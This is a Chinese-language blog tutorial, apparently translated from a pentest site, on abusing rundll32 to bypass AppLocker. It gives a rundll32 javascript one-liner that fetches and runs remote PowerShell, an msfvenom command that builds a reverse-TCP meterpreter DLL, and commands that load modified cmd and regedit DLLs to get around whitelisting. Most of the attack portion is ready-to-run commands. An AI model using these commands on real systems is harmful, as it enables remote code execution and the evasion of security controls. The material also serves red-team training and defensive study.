绕过AppLocker系列之Rundll32的利用

本文讲的是 绕过AppLocker系列之Rundll32的利用Rundll32是一个可以执行DLL文件内的代码的Microsoft二进制文件。由于此实用程序是Windows操作系统的一部分,因此可以将其用作一种绕过AppLocker规则或软件限制策略的方法。所以如果系统环境没有正确的锁定某些设置,那么用户就可以使用这个二进制文件做一些事情,他们也可以编写自己的DLL,来绕过任何限制或执行恶意的JavaScript代码。

Rundll32 – JavaScript

可以使用rundll32这个二进制文件来执行已经嵌入有效载荷并且托管在Web服务器上的JavaScript代码。Metasploit的Web传递模块可以快速的创建一个将用于特定有效负载(Python,PHP或PowerShell)的Web服务器。在本文的演示中,有效负载用的是PowerShell。

exploit/multi/script/web_delivery

绕过AppLocker系列之Rundll32的利用

Web Delivery模块配置

需要从cmd中执行以下命令。如果命令提示符被锁定而不能运行,可以使用下面描述的方法解锁cmd。

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

绕过AppLocker系列之Rundll32的利用

Rundll32 执行 JavaScript代码

Rundll32将执行任意代码,并返回一个Meterpreter会话。这样做的好处是,不需要在磁盘上写文件就可以绕过AppLocker规则。但是PowerShell要允许在系统上运行才行。

绕过AppLocker系列之Rundll32的利用

Web Delivery有效载荷

Rundll32 – Meterpreter

可以使用Metasploit 的Msfvenom来创建一个包含meterpreter有效载荷的自定义DLL文件:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=44444 -f dll -o pentestlab.dll

绕过AppLocker系列之Rundll32的利用

Msfvenom DLL生成

然后,rundll32实用程序就可以加载并执行pentestlab.dll文件中的有效载荷。

rundll32 shell32.dll,Control_RunDLL C:Userspentestlab.dll

绕过AppLocker系列之Rundll32的利用

利用Rundll32执行DLL绕过AppLocker  

获取到一个meterpreter 会话。

绕过AppLocker系列之Rundll32的利用

Rundll32 返回的 Meterpreter会话

运行cmd

在通过AppLocker规则锁定禁止cmd运行的Windows系统中,可以通过将恶意DLL文件注入到合法的进程来绕过此限制。Didier Stevens通过使用从ReactOS开源项目获得的变种,以DLL文件的形式发布了一个修改版本的cmd

绕过AppLocker系列之Rundll32的利用

AppLocker禁止cmd运行

由于rundll32是受信任的Microsoft实用程序,因此可以将cmd.dll加载到进程中,执行DLL中的代码,因此这样就可以绕过AppLocker规则并打开cmd。以下两个命令可以在Windows中执行:

rundll32 C:cmd.dll,EntryPoint rundll32 shell32.dll,Control_RunDLL C:cmd.dll

绕过AppLocker系列之Rundll32的利用

Rundll32 – DLL加载入口点函数

绕过AppLocker系列之Rundll32的利用

Rundll32 – DLL加载Control Run函数

代码将通过rundll32执行,之后会打开一个cmd窗口。

绕过AppLocker系列之Rundll32的利用

Rundll32 –绕过cmd禁止运行的限制

注册表

相同的绕过技术也可以应用在注册表被锁定禁止运行的系统中。Didier Stevens还发布了一个修改版本的注册表编辑器,形式也是一个DLL文件,和上面提到的修改过的cmd是一样的。

绕过AppLocker系列之Rundll32的利用

AppLocker – 注册表被阻止运行

以下命令可以通过rundll32加载并运行regedit.dll,可以绕过AppLocker规则。

rundll32 C:regedit.dll,EntryPoint rundll32 shell32.dll,Control_RunDLL C:regedit.dll

绕过AppLocker系列之Rundll32的利用

AppLocker – Rundll32运行注册表程序

绕过AppLocker系列之Rundll32的利用

绕过AppLocker – 打开了注册表程序

绕过AppLocker系列之Rundll32的利用

绕过AppLocker –通过 Rundll32解锁运行注册表程序




原文发布时间为:2017年6月27日
本文作者:丝绸之路
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值